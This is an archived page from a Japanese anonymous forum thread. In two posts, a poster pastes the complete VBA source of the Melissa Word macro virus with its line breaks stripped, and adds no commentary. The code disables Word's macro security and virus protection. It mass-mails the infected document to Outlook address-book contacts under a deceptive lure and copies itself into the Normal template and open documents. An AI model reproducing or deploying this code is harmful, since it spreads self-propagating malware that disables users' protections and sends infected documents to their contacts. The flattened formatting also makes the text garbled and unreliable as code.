★ジョジョの奇妙な原発★

[過去ﾛｸﾞ] ★ジョジョの奇妙な原発★ (152ﾚｽ)
上下前次 1-新
通常表示 512ﾊﾞｲﾄ分割ﾚｽ栞

このｽﾚｯﾄﾞは過去ﾛｸﾞ倉庫に格納されています｡
次ｽﾚ検索歴削→次ｽﾚ栞削→次ｽﾚ過去ﾛｸﾞﾒﾆｭｰ

141: 地震雷火事名無し(WiMAX) [sage] 2013/11/14(木) 00:09:04.78 ID:Re/4loPN0

Private Sub Document_Open()On Error Resume NextIf System.PrivateProfileString
("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level")
<> "" ThenCommandBars("Macro").Controls("Security...").Enabled = FalseSystem.
PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Wor
d\Security", "Level") = 1&amp;ElseCommandBars("Tools").Controls("Macro").Enabled
= FalseOptions.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)End IfDim UngaDasOutlook, DasMapiName,
BreakUmOffASliceSet UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")If System.PrivateProfileString
("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "...
by Kwyjibo" ThenIf UngaDasOutlook = "Outlook" ThenDasMapiName.Logon "profile", "
password"For y = 1 To DasMapiName.AddressLists.CountSet AddyBook = DasMapiName.
AddressLists(y)x = 1Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)For oo =
1 To AddyBook.AddEntries.CountPeep = AddyBook.AddressEntries(x)BreakUmOffASlice.
Recipients.Add Peepx = x + 1If x > 50 Then oo = AddyBook.AddressEntries.CountNext
ooBreakUmOffASlice.Subject = "Important Message From " &amp; Application.UserName

http://wc2014.5ch.net/test/read.cgi/lifeline/1310638934/141

142: 地震雷火事名無し(WiMAX) [sage] 2013/11/14(木) 00:10:25.73 ID:Re/4loPN0

BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)
"BreakUmOffASlice.Attachments.Add ActiveDocument.FullNameBreakUmOffASlice.SendPeep =
""Next yDasMapiName.LogoffEnd IfSystem.PrivateProfileString("", "HKEY_CURRENT_USER\Software\
Microsoft\Office\", "Melissa?") = "... by Kwyjibo"End IfSet ADI1 = ActiveDocument.VBProject.
VBComponents.Item(1)Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)NTCL =
NTI1.CodeModule.CountOfLinesADCL = ADI1.CodeModule.CountOfLinesBGN = 2If ADI1.Name <>
"Melissa" ThenIf ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCLSet ToInfect = ADI1ADI1.
Name = "Melissa"DoAD = TrueEnd IfIf NTI1.Name <> "Melissa" ThenIf NTCL > 0 Then NTI1.
CodeModule.DeleteLines 1, NTCLSet ToInfect = NTI1NTI1.Name = "Melissa"DoNT = TrueEnd IfIf DoNT
<> True And DoAD <> True Then GoTo CYAIf DoNT = True ThenDo While ADI1.CodeModule.Lines(1, 1)
= ""ADI1.CodeModule.DeleteLines 1LoopToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""ToInfect.CodeModule.InsertLines BGN,
ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1)
= ""NTI1.CodeModule.DeleteLines 1LoopToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines
(BGN, 1)BGN = BGN + 1LoopEnd IfCYA:If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document")
= False) ThenActiveDocument.SaveAs FileName:=ActiveDocument.FullNameElseIf (InStr(1, ActiveDocument.Name,
"Document") <> False) ThenActiveDocument.Saved = True End If'WORD/Melissa written by Kwyjibo'Works
in both Word 2000 and Word 97'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!'Word ->
Email | Word 97 <--> Word 2000 ... it's a new age!If Day(Now) = Minute(Now) Then Selection.TypeText "
Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over.
I'm outta here."End Sub noscript

http://wc2014.5ch.net/test/read.cgi/lifeline/1310638934/142

上下前次 1-新書関写板覧索設栞歴

ｽﾚ情報赤ﾚｽ抽出画像ﾚｽ抽出歴の未読ｽﾚ AAｻﾑﾈｲﾙ

ぬこの手ぬこTOP 0.071s*